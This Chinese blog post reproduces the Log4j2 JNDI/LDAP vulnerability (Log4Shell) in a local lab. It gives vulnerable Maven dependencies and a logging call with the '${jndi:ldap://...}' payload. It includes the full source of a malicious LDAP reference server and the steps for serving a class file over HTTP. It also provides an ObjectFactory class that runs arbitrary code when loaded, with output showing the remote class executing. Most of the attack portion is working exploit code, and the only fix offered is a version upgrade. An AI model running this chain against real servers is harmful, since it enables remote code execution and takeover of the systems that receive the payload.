当前位置: 首页 > 工具软件 > cb4j > 使用案例 >

log4j2 jndi ldap漏洞复现

苏凯
2023-12-01

前言

2021年12月09日,Apache Log4j2被爆出存在安全漏洞,于是尝试复现一下。

需要准备的东西

  • 被攻击方:使用log4j2打印日志的java进程
  • ldap服务
  • 提供文件下载的http服务器
  • 恶意代码

使用log4j2打印日志的java进程(被攻击方)

重要:被攻击方运行log4j2打印日志进程的jdk版本不能太高,8u191版本以后会将com.sun.jndi.ldap.object.trustURLCodebase参数默认设置为false,不好复现本次漏洞。使用较低版本的jdk可以直接复现本次漏洞,如果使用的是较高版本的jdk,那么需要在启动时添加参数:-Dcom.sun.jndi.ldap.object.trustURLCodebase=true来复现这次漏洞。

准备一个maven项目,添加pom依赖(版本号小于等于2.14即可):

<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-core</artifactId>
    <version>2.12.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency>
    <groupId>org.apache.logging.log4j</groupId>
    <artifactId>log4j-api</artifactId>
    <version>2.12.1</version>
</dependency>

编写简单的打印日志的代码:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

/**
 * @author Tango Huang
 * create at 2021/12/15 14:34
 */
public class Test {
    private static final Logger LOGGER = LogManager.getLogger(Test.class);

    public static void main(String[] args) {
        LOGGER.info("start");
        // 注意:这里的0.0.0.0:8888是需要自己指定的,和下一节启动的ldap服务的地址和端口必须相同
        String userName = "${jndi:ldap://0.0.0.0:8888/hello}";
        LOGGER.info("userName:{}", userName);
    }
}

准备一个log4j2的配置文件log4j2.xml放入resources目录,这里就不展示了。

ldap服务

网上主流的做法是使用marshalsec项目,git clone下来后使用maven package打包,进入target目录,运行以下命令启动一个ldap服务:

java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:80/#Test 8888

(jar包的版本号视具体情况而定,主类信息固定,后面的http://localhost:80/#Test 8888是启动参数,后面会讲到)

也可以clone下来后,在本地ide里面找到LDAPRefServer的主函数运行。

这里也贴出具体的代码,如果不想clone,也可以直接拷贝这段代码后本地运行:

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;


/**
 * LDAP server implementation returning JNDI references
 * 
 * @author mbechler
 *
 */
public class LDAPRefServer {

    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void main ( String[] args ) {
        int port = 1389;
        if ( args.length < 1 || args[ 0 ].indexOf('#') < 0 ) {
            System.err.println(LDAPRefServer.class.getSimpleName() + " <codebase_url#classname> [<port>]"); //$NON-NLS-1$
            System.exit(-1);
        }
        else if ( args.length > 1 ) {
            port = Integer.parseInt(args[ 1 ]);
        }

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                "listen", //$NON-NLS-1$
                InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                port,
                ServerSocketFactory.getDefault(),
                SocketFactory.getDefault(),
                (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;


        /**
         * 
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }


        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }


        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

注意:通过这段代码启动ldap服务时,必须指定两个参数http://localhost:80/#Test 8888,其含义是:监听8888端口,当接收到ldap请求后,会去http://localhost:80这个链接寻找Test.class文件。因此,可以根据实际需要修改这些参数。

提供文件下载的Http服务器

因为会去http://localhost:80这个链接寻找文件,因此需要搭建一个提供文件下载的http服务器,有以下几种方式,选一种喜欢的就行:

  • python启动:python -m SimpleHTTPServer 80

  • linux系统下,启动httpd服务:sudo service httpd start

  • windows系统下,启动httpd服务,网上教程

  • 自己实现一个(不建议)

启动服务后,通过http://localhost:80/Test.class可以直接下载一个文件,即搭建完成。

准备恶意代码

注意

  • 恶意代码最终需要生成一个class文件,因此这段代码不能依赖别的外部代码,所有代码必须写进一个java文件。

  • 不用写package信息

  • 该类必须实现javax.naming.spi.ObjectFactory接口

这里给出一个示例:

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

/**
 * @author Tango Huang
 * create at 2021/12/15 21:50
 */
public class Test implements ObjectFactory {
    public Test() {
        //在这里,写下任何你想在对方服务器上做的事情
        String str = "in Test()";
        System.out.println(str);
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        // 返回的内容会在最终log4j2打印的时候打印出来
        return "Hello, you have been attacked!";
    }
}

写完java文件后,使用命令javac Test.java,生成一个Test.class文件,放在上一节启动了的http服务器的目录下,尝试请求http://localhost:80/Test.class,能够成功下载文件即准备完成。

复现漏洞

所有东西准备好后,直接启动log4j2打印日志的java进程,打印结果如下:

2021-12-16 15:06:38.989 [INFO ] com.k3.Test.main(Test.java:20) - start
in Test()
in Test()
2021-12-16 15:06:38.994 [INFO ] com.k3.Test.main(Test.java:22) - userName:Hello, you have been attacked!
in Test()

可以看到,被攻击进程会通过类加载器读取远端服务器上的类文件,加载到本地的进程中并执行默认的无参构造函数,确实十分危险。

修复漏洞

升级log4j2版本到最新的2.16

 类似资料: